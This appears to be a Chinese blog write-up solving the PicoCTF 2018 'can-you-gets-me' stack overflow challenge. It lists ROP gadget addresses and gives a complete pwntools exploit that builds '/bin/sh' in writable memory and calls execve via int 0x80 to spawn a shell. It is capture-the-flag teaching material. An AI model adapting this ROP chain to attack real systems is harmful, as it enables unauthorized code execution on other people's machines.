栈溢出|非常规情况下栈溢出系统调用——PicoCTF_2018_can-you-gets-me

前言: 【栈溢出|非常规情况下栈溢出系统调用——PicoCTF_2018_can-you-gets-me】对于这种非常规的栈溢出题目,我自己也是见的比较少,故写此博客记录一下。
解题思路 查看保护 栈溢出|非常规情况下栈溢出系统调用——PicoCTF_2018_can-you-gets-me
文章图片

只开了NX保护的32位程序,如果是常规题的话,应该是非常容易做的。
进入IDA查看伪代码 打开IDA,如果是第一次见这种题目就会傻眼了。
栈溢出|非常规情况下栈溢出系统调用——PicoCTF_2018_can-you-gets-me
文章图片

题目中的每一个函数都好像是自己写的,那么我们就不能利用got表来泄露函数地址来getshell了。
题目开了NX保护,我们不能写shellcode,常规的ROP又利用不了,我们就完全利用不了libc里边的函数了。
乍一看,好像没什么办法了,但是我们可以用程序中非常多的gadget来调用系统调用。
目标:execve(0xb, “/bin/sh”, 0, 0); 既然是系统调用,我们就很容易想到execve来getshell,而程序中也正好有这些gadgets,包括最重要的int 0x80。
而execve的结构是:

eax = 0x0b ebx = address of "/bin/sh" ecx = 0 edx = 0

我们就用ROPgadget来找到我们想要的gadget。
0x080b81c6 : pop eax ; ret 0x0806f02a : pop edx ; ret 0x0806f051 : pop ecx ; pop ebx ; ret 0x080549db : mov [edx], eax; ret 0x08049303 : xor eax, eax ; ret 0x0808f097 : add eax, 2 ; ret 0x0808f0b0 : add eax, 3 ; ret 0x0806cc25 : int 0x80 0x080481b2 : ret

而且我们还需要把/bin/sh放到一个地方,放在哪里合适呢?
0x08048000 0x080e9000 r-xp /mnt/hgfs/share/buuctf/PicoCTF_2018_can-you-gets-me/PicoCTF_2018_can-you-gets-me 0x080e9000 0x080eb000 rw-p /mnt/hgfs/share/buuctf/PicoCTF_2018_can-you-gets-me/PicoCTF_2018_can-you-gets-me#毫无疑问,放在这里可写的地方最合适 0x080eb000 0x0810e000 rw-p [heap] 0xf7ffa000 0xf7ffd000 r--p [vvar] 0xf7ffd000 0xf7ffe000 r-xp [vdso] 0xfffdd000 0xffffe000 rw-p [stack]

我们就放在0x080e9000到0x080eb000之间就行
然后我们用我们找到的gadgets来构造exp就可以了。
完整exp:
#! /usr/bin/env python from pwn import *p = process('./PicoCTF_2018_can-you-gets-me') #p = remote('node3.buuoj.cn', 28541)writeable_memory = 0x080e9040 binsh = 0x80e9040 int80 = 0x0806cc25 ret = 0x080481b2pop_eax = 0x080b81c6 pop_edx = 0x0806f02a pop_ecx_ebx = 0x0806f051 mov_eax_to_edx = 0x080549dbset_eax_zero = 0x08049303 add_eax_two = 0x0808f097 add_eax_three = 0x0808f0b0payload = "" payload += "A"*28payload += p32(pop_edx) payload += p32(writeable_memory)payload += p32(pop_eax) payload += "/bin"payload += p32(mov_eax_to_edx)writeable_memory += 4payload += p32(pop_edx) payload += p32(writeable_memory)payload += p32(pop_eax) payload += "/sh\x00"payload += p32(mov_eax_to_edx)writeable_memory += 3payload += p32(set_eax_zero) payload += p32(pop_edx)payload += p32(writeable_memory)#让字符串以空结尾 payload += p32(mov_eax_to_edx)payload += p32(pop_ecx_ebx) payload += p32(0) payload += p32(binsh)payload += p32(pop_edx) payload += p32(0)payload += p32(set_eax_zero) payload += p32(add_eax_three) payload += p32(add_eax_three) payload += p32(add_eax_three) payload += p32(add_eax_two)# eax = 0x0bpayload += p32(int80) payload += p32(ret)p.recvuntil("GIVE ME YOUR NAME!") p.send(payload) p.interactive()

    推荐阅读